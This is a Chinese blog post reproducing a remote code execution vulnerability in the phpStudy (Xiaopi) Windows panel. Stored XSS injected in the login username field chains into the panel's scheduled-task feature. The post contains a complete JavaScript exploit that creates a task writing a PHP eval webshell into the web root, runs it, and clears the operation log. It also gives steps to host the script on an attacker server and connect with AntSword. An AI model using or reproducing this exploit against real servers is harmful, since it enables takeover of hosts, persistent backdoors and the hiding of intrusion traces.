首页 > 系统相关 >phpStudy 小皮 Windows面板 存在RCE漏洞

phpStudy 小皮 Windows面板 存在RCE漏洞

时间:2024-09-18 15:27:00浏览次数:1  
标签:function 小皮 登录 XSS Windows phpStudy RCE php data

靶场资料后台自行领取【靶场】

image-20240726092307252

Phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。

image-20240724122800032

image-20240724122752623

这是登录成功的界面

image-20240724094910957

登录成功了就来和大佬们喝喝茶吧~

15d9c38a7ea8e523e6ea58bd45aa0aa

首先在用户名登录的地方输入XSS代码验证是否存在漏洞

image-20240724101005780

即使输入失败也没有关系

image-20240724101014012

此时再输入正确的密码,成功弹窗

image-20240724101115119

如上图可以看到确实触发XSS弹窗,这是因为整个系统在加载的过程中会读取操作日志的内容,刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本,所以执行显示了登录系统失败。

image-20240724150712294

外链js的exp

function poc(){
    $.get('/service/app/tasks.php?type=task_list',{},function(data){
        var id=data.data[0].ID;
        $.post('/service/app/tasks.php?type=exec_task',{
            tid:id
        },function(res2){
            $.post('/service/app/log.php?type=clearlog',{
            },function(res3){},"json");
        },"json");
    },"json");
}
function save(){
    var data=new Object();
    data.task_id="9";
    data.title="xxxasdxxxx";
    data.exec_cycle="1";
    data.week="1";
    data.day="4";
    data.hour="15";
    data.minute = "42";
    data.shell='echo "<?php @eval($_POST[123]);?>" > E:/Development/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
    $.post('/service/app/tasks.php?type=save_shell',data,function(res){
        poc();
    },'json');
}
save();

在本地(攻击机)使用python开启一个http服务,并且将poc脚本放在服务目录下进行利用。

image-20240724095732542

打开攻击机浏览器看看能不能访问这个poc文件

image-20240724095751467

登录这个靶机,注入payload,链接脚本到你的exp

image-20240724100754732

这里我们返回就发现新增了一个计划脚本

image-20240724101438988

我们查看网站的根目录,此时已经多了一个php文件

image-20240724095913169

我们复制查看这个网站的绝对路径

image-20240724102205632

修改我们的exp,否则会路径找不到此php一句话木马文件,从而不能执行php文件

image-20240724102250983

我们尝试访问这个站点去执行这个exp,却不能访问

image-20240724124253854

我们进入后台打开nginx/阿帕奇服务器就好了

image-20240724102644633

此时你会发现你访问了这个php, 自动下载了这个文件,并没有执行,说明是纯静态的网页,我们也就使用蚁剑连接不上了

image-20240724124441834

这个时候我们去网站后台看php版本,没有选择,选择指定的版本并保存就好。

image-20240724103129412

这个时候我们再去访问这个php木马,这个时候就可以直接使用【蚁剑】连接,连接就不演示了(图不小心删了)

image-20240724103147841

喝茶~

15d9c38a7ea8e523e6ea58bd45aa0aa

标签:function,小皮,登录,XSS,Windows,phpStudy,RCE,php,data
From: https://www.cnblogs.com/xiaoyus/p/18418587

相关文章

  • Windows/Linux操作用户权限常用命令
    环境:centos7.5(主要),win7Linux/Centos(权限篇)一、概述Linux操作系统,设计用于支持多用户和处理多任务的服务器环境,实施了一套严密的权限控制系统。这一系统主要通过两个核心要素——用户身份和文件权限——来管理和限制对资源的访问。在Linux中,资源的访问权限是基于用户身份来控制......
  • windows系统清理
     1)最近发现C盘占用暴涨,最终导致文件都无法写入,开机几个小时之后必须重启,否则就GG,后来借助TreeSize工具查看占用情况,发现是pagefile.sys在作祟pagefile.sys是虚拟内存文件,目地是使用一部分硬盘空间来充当内存使用。当一个程序请求的内存空间大于物理内存时,就需要pagefile......
  • 解决软件在windows11控制面板、电脑软件管家中图标显示不正确的问题
    解决软件在windows11控制面板、电脑软件管家中图标显示不正确的问题问题描述:在windows11控制面板显示错误的问题是innosetup的iss文件配置错误。需要在[Setup]下添加UninstallDisplayIcon,如下:#defineMyAppIconName"D:\VUE_projects\Alarm\pack\appIcon2.ico"[Setup]//设......
  • Windows 10 使用SMTP向QQ邮箱发送邮件
    一、QQ邮箱开启SMTP服务登录QQ邮箱网页版:https://mail.qq.com。进入设置:右上角点击“设置”图标(齿轮图标)。在下拉菜单中选择“账户”。开启SMTP服务:在“账户设置”页面下,找到“POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务”。点击“开启”旁边的“POP3/SMTP......
  • PyQt / PySide + Pywin32 + ctypes 自定义标题栏窗口 + 完全还原 Windows 原生窗口边
    项目地址:GitHub-github201014/PyQt-NativeWindow:AclassofwindowincludenativeEvent,usePySideorPyQtandPywin32andctypesAclassofwindowincludenativeEvent,usePySideorPyQtandPywin32andctypes-github201014/PyQt-NativeWindowhttps://githu......
  • 【samba】windows和centos进行共享文件夹
    window与centos系统之间共享文件有如下方式实现:分两种环境:一、centos和window是同一个宿主机内(如centos是通过VMwarePlayer等工具装在window主系统内)1、在VMwarePlayer底部有个settings设置,切换options选择sharefolders激活它,然后add你要共享的window文件夹。2、重......
  • 在Windows系统中如何配置Java开发环境环境变量&零基础手把手教程
    以下是一份关于“在Windows系统中如何配置Java开发环境环境变量”的手把手操作流程,由浅入深,先整体后分部:一、引言Java是一种广泛使用的编程语言,其跨平台特性使得它在不同操作系统上都能运行。为了在Windows系统中进行Java开发,我们需要配置Java开发环境。本文将详细介绍如......
  • windows 上 Tauri 开发环境配置
    Tauri是一个构建适用于所有主流桌面和移动平台的轻快二进制文件的框架。开发者们可以集成任何用于创建用户界面的可以被编译成HTML、JavaScript和CSS的前端框架,同时可以在必要时使用Rust、Swift和Kotlin等语言编写后端逻辑。Tauri使用MicrosoftC++构建工具进行开发以......
  • 在 Windows 上恢复已删除的 PDF 文件的最佳方法
    如果您不小心删除了PDF文件或由于系统突然崩溃而无法再找到它们,本指南介绍了恢复已删除文件的最佳方法。帖子中列出的方法简单、有效且可行。我们在列出它们之前对其进行了测试。什么是PDF,Adobe将未保存的PDF存储在哪里?自从Adobe开发可移植文档格式(PDF)以来,该格式......
  • windows定时执行python程序
    先写个bat脚本,执行Python程序::根据实际情况修改Python解释器的路径setPYTHON=D:\python\python.exesetCODE_DIR=D:\code\projectcd/d"%CODE_DIR%"::启动Python程序echoRunningmain.py...%PYTHON%main.py>nohup.log2>&1echoAllscriptscomplete......